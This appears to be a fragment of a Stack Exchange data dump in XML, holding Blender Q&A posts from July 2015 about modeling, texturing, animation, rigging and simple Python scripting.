  <row Id="33703" PostTypeId="2" ParentId="33698" CreationDate="2015-07-10T00:55:44.677" Score="1" Body="&lt;p&gt;I'm not sure about this answer, but to me it looks like a calculation approximation problem: if you add a subsurf modifier to the body mesh, even with only 1 step of subsurf, everithing goes allright (then you can apply it, to get a pure mesh). Blender is not intended as CAD and your mesh is very low poly, maybe also adding some loopcuts would resolve your odd behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider that, generally, we use a circle of vertex for shaping the &quot;hole&quot; of eyes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it's useful.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-10T01:04:02.207" LastActivityDate="2015-07-10T01:04:02.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33705" PostTypeId="2" ParentId="33694" CreationDate="2015-07-10T01:33:21.017" Score="1" Body="&lt;p&gt;The concept behind UV unwrapping is to assign to every 3D vertex a 2D coordinate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working with a flat plane, the two approaches are nearly the same (generally a 2D software is more powerful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're working with a 3D object, direct painting on the 3D mesh is gratifying but generally it's difficult to get a really powerful control of what you're actually doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on 2D UV unwrapped textures is more controlled but more complex, at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like many tasks, you can reach your goal in many different ways: the complete path for texturing a cylinder is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create seams on the mesh, unwrap it, assign an  image texture (the seam will be visible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) delete seams, create new different seams and create a new UV map&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) bake the texture on a new image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) doctor the new image in a 2D editor (seams to be doctored will be visible, don't touch image's boundries, as it would create new visible seams)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) use the new image with the 2nd UV map&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This complex procedure will assure a seamless texture in any situation, generally it can be avoided by hiding the seams in hidden places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can understand there is no &quot;better&quot; or &quot;old&quot; way. It depends on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, i stopped studying 3D paintings because even a simple open source software as GIMP let's me reach better results than Blender Paint capabilities.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-07-10T01:39:59.780" LastActivityDate="2015-07-10T01:39:59.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33706" PostTypeId="1" AcceptedAnswerId="38101" CreationDate="2015-07-10T02:41:44.017" Score="5" ViewCount="5233" Body="&lt;p&gt;I want to duplicate an object along with it's animation but I want to use the duplicated object(s) somewhere else in the scene. Is this possible? I guess I would need to maintain the animation locally to the duplicated object but not sure how that works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example a ball rolling on it's x-axis is duplicated with it's animation. I want to move that duplicated ball so that it is the same animation but rolling on the y-axis.&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2016-07-18T09:11:30.463" Title="How to duplicate object with it's animation then relocate/rotate" Tags="&lt;animation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33707" PostTypeId="1" CreationDate="2015-07-10T02:47:23.213" Score="0" ViewCount="416" Body="&lt;p&gt;I have a low poly model that I am trying to rig correctly but even with editing vertex groups and weight painting I am still getting issues when moving around the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the blend file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/36971&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36971&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I undid all my edits to the vertex groups and weight painting so all that has been done is the parenting of the mesh to the armature with automatic weights. Pretty much, Id appreciate if you could figure out whats up with the vertex groups and why they are acting so weird. thanx&lt;/p&gt;&#xA;" OwnerUserId="7656" LastActivityDate="2015-07-10T04:58:56.603" Title="Issues with mesh deformation" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33709" PostTypeId="2" ParentId="33691" CreationDate="2015-07-10T03:14:04.990" Score="1" Body="&lt;p&gt;You don't need to use Python to turn 6 cubic images into a single environment map. But once you set up a .blend for handling this task you could augment that with Python to make an automated process out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a fairly large cube, with normals flipped, in your World center. UV map and texture your images onto it. Give it a shadeless material. Place your camera at location 0,0,0 with rotation X:90 Y:0 Z:0&#xA;Set your Camera to &quot;Panoramic&quot; to render an environment. I recently made a post &lt;a href=&quot;https://blender.stackexchange.com/questions/33161/rendered-environment-map-is-misaligned-to-world&quot;&gt;here&lt;/a&gt; that goes into some more detail that you may find helpful. &#xA;You'll want to make that cube spherical using a SubSurf and then Cast modifier. For the SubSurf modifier use &quot;Simple&quot; subdivision at 5 or 6 subdivisions. For the Cast modifier leave the type as &quot;Sphere&quot; and set the factor to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use Python to process large quantities of such cube maps, look into how to use Python to replace the source images in the folder where Blender will be looking for them. And research how to use Python to call on Blender to load up the .blend and render out the image(s).&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-10T06:51:59.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33710" PostTypeId="2" ParentId="32240" CreationDate="2015-07-10T03:55:41.053" Score="1" Body="&lt;p&gt;Apparently, as of Yafaray 0.1.99 Experimental, with Blender 2.75a, the native particle system is now supported.&lt;/p&gt;&#xA;" OwnerUserId="5042" LastActivityDate="2015-07-10T03:55:41.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33711" PostTypeId="2" ParentId="33692" CreationDate="2015-07-10T04:26:53.677" Score="1" Body="&lt;p&gt;The geometry of the objects added from the pipe joint addon is the same as any of the other items, whether from the primitives menus, or added by a user, and can be manipulated the same way. Portions of meshes which align neatly with one of the primary axes, in the case of the pipe joint &quot;y&quot;, the base which aligns with the z axis are fairly easy. Make a couple of loop cuts, slide them up the cylinder to where you want them, scale them to zero in the appropriate direction (in the case of the base cylinder, this would be &quot;z&quot;), then lock the z axis and scale them to size on the x and y axes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the case of the arms of the y-joint, it is a bit more difficult for me, as I've not figured out a good way to move items along an axis which was not parallel to one of the principal axes. With to my current skillset, my procedure is illustrated by this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0Pk6.jpg&quot; alt=&quot;Y joint modification in 10 steps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where I use &quot;helper geometry&quot; to get the alignment correct. Sharp eyes may note that in the illustration in step 10 I've not yet removed the helper geometry, but it's trivial to do, selecting the helper geometry edge in edge select mode, and removing the edge only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option, is, of course, to rotate the whole mesh at the beginning so that the axis you want to change is aligned with the x, y, or z axis, and use the simpler procedure outlined above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally a workflow comment: if you are using a lot of modified pipe joints, I'd keep the modifications in a separate blend file, as separate objects, and import them to your working file by appending them. Once you've got one modified y joint with an enlarged arm on one side, it's trivial to create a new instance of that joint, and change the size of the arm for a different location in your mesh.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-10T04:26:53.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33712" PostTypeId="2" ParentId="5820" CreationDate="2015-07-10T04:35:18.960" Score="8" Body="&lt;p&gt;Cycles usually produces more photo-realistic renders while Blender Internal is faster. If you're test-rendering a model to see how it looks rendered, I suggest Blender Internal, while I would use Cycles for final animations.&lt;/p&gt;&#xA;" OwnerUserId="15541" LastActivityDate="2015-07-10T04:35:18.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33714" PostTypeId="2" ParentId="33707" CreationDate="2015-07-10T04:58:56.603" Score="1" Body="&lt;p&gt;Here's a before and after picture to illustrate what I mean. On the left is what happened when I tried rotating the left shoulder using the original vertex groups. On the right is what happened after I reassigned the vertices in the the following groups: abdomen, chest, left shoulder, left upper arm, left lower arm. Double check that you are not only assigning the vertices that you want in each group, but also removing the ones you don't want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TGRCP.jpg&quot; alt=&quot;Before and after fixing the vertex groups&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15159" LastActivityDate="2015-07-10T04:58:56.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33716" PostTypeId="1" AcceptedAnswerId="33720" CreationDate="2015-07-10T05:27:27.747" Score="4" ViewCount="14962" Body="&lt;p&gt;Very simple question but I couldn't find answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm modeling some complex stuff which I need to hide some faces to move forward, but after I'm done I want to display those faces back&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="599" LastEditDate="2015-07-10T07:30:48.710" LastActivityDate="2015-07-10T07:30:48.710" Title="How to show face in edit mode after hiding with &quot;H&quot;" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33718" PostTypeId="2" ParentId="33716" CreationDate="2015-07-10T06:08:57.543" Score="-1" Body="&lt;p&gt;I'm fairly sure that it is &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;h&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="15492" LastEditorUserId="599" LastEditDate="2015-07-10T07:17:46.320" LastActivityDate="2015-07-10T07:17:46.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33719" PostTypeId="1" CreationDate="2015-07-10T06:20:37.740" Score="0" ViewCount="671" Body="&lt;p&gt;how do i bend the object in the image according the direction of the blue arrow? i tried to add a curve modifier attached to a bezier but not work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NbZXS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="15510" LastActivityDate="2015-07-10T07:35:48.373" Title="how do i bend a custom object" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33720" PostTypeId="2" ParentId="33716" CreationDate="2015-07-10T07:17:21.870" Score="6" Body="&lt;p&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; or &lt;em&gt;3D view &gt; Header &gt; Mesh &gt; Show/Hide &gt;Show Hidden&lt;/em&gt; will do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0Vc3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-10T07:17:21.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33721" PostTypeId="2" ParentId="33719" CreationDate="2015-07-10T07:17:32.443" Score="1" Body="&lt;p&gt;You had the right idea with the Curve modifier and Bezier Curve. It looks to me like it's not working because the origin points of both objects are off in some arbitrary location. Set the origin point of your Curve to be at the start of the curve path. Set the origin point of your mesh object to be on the edge of your mesh. Then add the Curve modifier. You may need to fiddle with the axes depending on the rotation of your objects (it's easier if both the Curve and Mesh are oriented in the same direction from the start). Once the modifier is on, you can just grab the mesh along the applicable axis and it will slide along the curve. You may need to have a SubSurf modifier preceding your Curve modifier in your stack in order for it to have enough mesh density to deform well. I my screen shot note the position of the 3D cursor - this is also the origin point of both of my objects. Since I'm in Edit Mode you can see that the wireframe represents the original location of the mesh object, and the bent version is the position after the modifier is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5Z1B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-10T07:17:32.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33723" PostTypeId="2" ParentId="33719" CreationDate="2015-07-10T07:35:48.373" Score="0" Body="&lt;p&gt;Another way is to select some vertex of the edges of the mesh, in edit mode, and enable proportional editing, set sharp, G Z to move upward, scroll mouse wheel to set the influence of proportional editing. the mesh must be well subdivided, in my example I've got smooth shading enabled, as well as subdivision surface set to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EIv1P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-10T07:35:48.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33725" PostTypeId="2" ParentId="33324" CreationDate="2015-07-10T08:32:58.850" Score="0" Body="&lt;p&gt;I made something similar to Mutant Bob, but I want to be more detailed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/329/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=329&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I put some UV map on translucent tube to have coordinate basis, but you can use other method, like manual calculations with math node based on global XYZ, or UV projection modifier with some addition animated object as projector;&lt;/li&gt;&#xA;&lt;li&gt;ColorRamp node gave a more or less approach to specific light spot distribution. Or you can draw it manually in texture and place texture node instead.&lt;/li&gt;&#xA;&lt;li&gt;ColorRamp not using #ffffff for maximum mixing value because it works together with Emission node with strength more than 1.0 - I think this combination provides better control over translucency/emission.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope we helped.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-10T08:32:58.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33726" PostTypeId="2" ParentId="31196" CreationDate="2015-07-10T08:39:15.180" Score="0" Body="&lt;p&gt;Yesterday I read interesting idea about dividing natural textures by frequencies:&#xA;&lt;a href=&quot;http://www.cgmasters.net/free-tutorials/blender-cycles-tutorial-stonemarble-how-to-make-any-texture/&quot; rel=&quot;nofollow&quot;&gt;http://www.cgmasters.net/free-tutorials/blender-cycles-tutorial-stonemarble-how-to-make-any-texture/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this might help as theory.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-10T08:39:15.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33727" PostTypeId="2" ParentId="23152" CreationDate="2015-07-10T09:00:51.320" Score="1" Body="&lt;p&gt;There is no function that does this. If there were it would be Merge (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;) as can be done with vertices in a mesh object. Ideally this command should be coded into Blender natively without needing an add-on as it's such a minor operation. It would only be possible with two open-ended points though, and maybe that's the reason it hasn't been included thus far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose having an error message appear at the top of the screen when the points are not open-ended is one approach; another is breaking an existing segment in favor of forming the new one.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="3710" LastEditDate="2016-01-06T14:35:30.360" LastActivityDate="2016-01-06T14:35:30.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33728" PostTypeId="2" ParentId="33706" CreationDate="2015-07-10T09:03:41.147" Score="0" Body="&lt;p&gt;Relocate an animated object is very easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that you want to offset the position by 3 Blender units on the Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select it, go to the graph editor, select the blue z location channel, turn on the arrow near to the little phantom in the header (view only selected curve keyframes), toggle A to select all keyframes, G Y 3 Enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About setting an x-axis movement transformed in an y-axis movement, you should cut the keyframes from the x location channel, and paste them in the y location channell: I don't think there is this kind of option, you should have a little Python script.&#xA;Anyway, selecting both channels, it's very easy to do the job by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK the location keyframes are always referred to the world, not local.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-10T09:03:41.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33729" PostTypeId="1" CreationDate="2015-07-10T09:09:39.303" Score="1" ViewCount="215" Body="&lt;p&gt;How can I script action made by setting keyframe handle type for bezier f-curve in Graph Editor to AUTO_CLAMPED?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o = bpy.data.objects['jet-1.1']&#xA;fc = o.animation_data.action.fcurves[1]  # Y Euler Rotaion&#xA;kfs = fc.keyframe_points&#xA;for frame, value in DATA:&#xA;    kf = kfs.insert(frame, value, {'FAST'})&#xA;    kf.interpolation = 'BEZIER'&#xA;    kf.handle_left_type = 'AUTO_CLAMPED'&#xA;    kf.handle_right_type = 'AUTO_CLAMPED'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to do it this way, curve doesn't get smoothed. How can it be achived?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This picture shows the result of the script from above:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rzk6Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to have the result like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/25L7e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3153" LastEditorUserId="3153" LastEditDate="2015-07-10T09:16:39.140" LastActivityDate="2015-07-10T09:16:39.140" Title="how to script animation fcurve made autoclamped" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33730" PostTypeId="1" CreationDate="2015-07-10T10:14:18.623" Score="1" ViewCount="872" Body="&lt;p&gt;I am trying to use a generated material as a texture for the backface of a complex object in Blender Internal (an object that already have a texture). The idea, using nodes, is similar to &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?228021-Back-face-cull-rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Back face cull rendering&lt;/a&gt;. What I want is that the material being used should look like it is projected onto the render screen of the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example (see below), I am using a wood materials in Nodes. Even if the object has a complex shape and a texture, I would like the rays of the wood to look parallel in the render view. I thought I could use a geometry node and use one of its output, then a vector curves with the shown curves for the x, y and z coordinates to make any vector pointing towards VIEW, or use a normal node, but I could not get any result. Using a &quot;normal&quot; node as an input for the vector input of the texture node, I get a blank material in the texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps : I've looked a lot in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Vector&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender reference concerning texture nodes&lt;/a&gt; with no clues. I would love something similar to UV unwrapping orthogonal to view, but for the backface part of the material (Noe that the object already is UV mapped since it has a texture already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Juzlo.png&quot; alt=&quot;Backface Material facing camera test&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I could achieve this ? The ideal would be that it could be used in Blender Internal. If you have a solution for cycles, I could also use it, but prefer the BI solution. I am aware of the Texture coordiates node in Cycles that could help me achieve what I want, but in Cycles only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help, &lt;/p&gt;&#xA;" OwnerUserId="15363" LastEditorUserId="15363" LastEditDate="2015-07-10T10:26:50.783" LastActivityDate="2015-10-08T16:53:38.053" Title="Texture as Backfacing material in Blender Internal using Nodes" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33731" PostTypeId="2" ParentId="33679" CreationDate="2015-07-10T10:48:04.633" Score="1" Body="&lt;p&gt;The code in &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_ui/properties_data_camera.py&quot; rel=&quot;nofollow&quot;&gt;properties_data_camera.py&lt;/a&gt; can give you clues to most of the camera properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The volume options for the 3DView are displayed with code in &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/startup/bl_ui/space_view3d.py$2986&quot; rel=&quot;nofollow&quot;&gt;space_view3d.py&lt;/a&gt; and use properties within the 3DView data eg. &lt;code&gt;context.space_data.show_stereo_3d_volume&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The volume pyramid drawn for this option is based on a pyramid created from the camera location/rotation, using &lt;code&gt;cam.lens&lt;/code&gt; which is shown to the user as focal length and &lt;code&gt;cam.sensor_width&lt;/code&gt; (sensor size). The &lt;code&gt;cam.clip_start&lt;/code&gt; and &lt;code&gt;cam.clip_end&lt;/code&gt; define where the top and bottom of this pyramid are. The actual c-code that does the drawing can be found in &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/editors/space_view3d/drawobject.c$1875&quot; rel=&quot;nofollow&quot;&gt;drawobject.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The location of the convergence plane is based on &lt;code&gt;stereo.convergence_distance&lt;/code&gt; and looks to use the same calculations as &lt;code&gt;clip_start&lt;/code&gt; with the outer edges based on the same volume pyramid.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-10T10:48:04.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33732" PostTypeId="1" CreationDate="2015-07-10T11:42:33.163" Score="1" ViewCount="169" Body="&lt;p&gt;I wished to use gnome-terminal running a python shell to do things in blender. Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu 14.04, Blender 2.69, installed from Ubuntu software center. &lt;img src=&quot;https://i.stack.imgur.com/YWcRp.png&quot; alt=&quot;snapshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15548" LastEditorUserId="15548" LastEditDate="2015-07-10T11:50:41.863" LastActivityDate="2015-07-10T11:50:41.863" Title="blender --python-console result in a blank Blender window" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33733" PostTypeId="2" ParentId="33730" CreationDate="2015-07-10T11:48:11.773" Score="1" Body="&lt;p&gt;You have to use &quot;window&quot; method for texture projection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/330/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=330&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is blender file with material both for Cycles and internal render, just press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; and select any of theese renders - result is almost same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles it is Geometry Info node, for internal it is Coordinates parameter in texture block properties.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-10-08T16:53:38.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33734" PostTypeId="1" AcceptedAnswerId="33736" CreationDate="2015-07-10T11:49:58.647" Score="0" ViewCount="620" Body="&lt;p&gt;I want to make Jenga tower and main problem is how to 'relax' every block to get stable construction. When I hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; I get an animation of a system, when blocks fall down on the plane - how to save this system and use as a new background for operations? It would simplify a lot my work.&lt;/p&gt;&#xA;" OwnerUserId="15549" LastEditorUserId="2217" LastEditDate="2015-07-10T13:11:29.750" LastActivityDate="2015-07-10T13:11:29.750" Title="Use animation to change position of an object" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33735" PostTypeId="1" AcceptedAnswerId="33739" CreationDate="2015-07-10T11:57:00.960" Score="3" ViewCount="351" Body="&lt;p&gt;I found this three.js website that has a somewhat whacky color scheme that I really like: &lt;a href=&quot;http://one-billion-cat.com/test/galerie/scene.html&quot; rel=&quot;nofollow&quot;&gt;http://one-billion-cat.com/test/galerie/scene.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is as a youtube video: &lt;a href=&quot;https://www.youtube.com/watch?v=q4e6yFQgu6U&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=q4e6yFQgu6U&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a material in blender that could give me this kind of look, but I'm not getting anywhere, so I thought maybe one of you guys might have an idea of how to go about achieving this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really appreciate some help with this, thanks folks =)&lt;/p&gt;&#xA;" OwnerUserId="15375" LastActivityDate="2015-09-30T15:52:20.000" Title="Need help recreating crazy colors/material from example" Tags="&lt;materials&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33736" PostTypeId="2" ParentId="33734" CreationDate="2015-07-10T12:03:20.333" Score="1" Body="&lt;p&gt;With selected object hit &lt;code&gt;space&lt;/code&gt; and type &quot;bake to keyframes&quot;, open &lt;code&gt;Graph editor&lt;/code&gt; (at the left down corner of application), delete everything before and after interesting moment, then clear all keyframes - it will &quot;freeze&quot; the moment of simulation.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="15549" LastEditDate="2015-07-10T12:27:18.867" LastActivityDate="2015-07-10T12:27:18.867" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33737" PostTypeId="2" ParentId="33324" CreationDate="2015-07-10T12:10:48.013" Score="5" Body="&lt;p&gt;I just added a light path node to the emitter material, with the Is Glossy Ray switching between emission and transparency, and got this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ArHDd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ArHDd.png&quot; alt=&quot;example image&quot; title=&quot;example image - click to enlarge&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you had in mind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: in case you'd ever want to control both Is Glossy Ray and Is Camera Ray from the shader instead of using the Ray Visibility tab in object properties, you can do that with a math node. Connect both Is Glossy Ray and Is Camera Ray to the math node via Add. Maximum also works. You will get zero only if both are zero, meaning you get visibility only if it's neither a camara ray nor a glossy ray, which is what we want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NqrNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="15550" LastEditDate="2015-07-12T11:26:23.880" LastActivityDate="2015-07-12T11:26:23.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33738" PostTypeId="2" ParentId="33673" CreationDate="2015-07-10T12:19:52.437" Score="0" Body="&lt;p&gt;I answer my question. Here is a code that works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;os.chdir(&quot;C:\\Users\\PORTABLE\\Desktop\\batfile&quot;)&#xA;os.sytsem(&quot;hello.bat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15517" LastActivityDate="2015-07-10T12:19:52.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
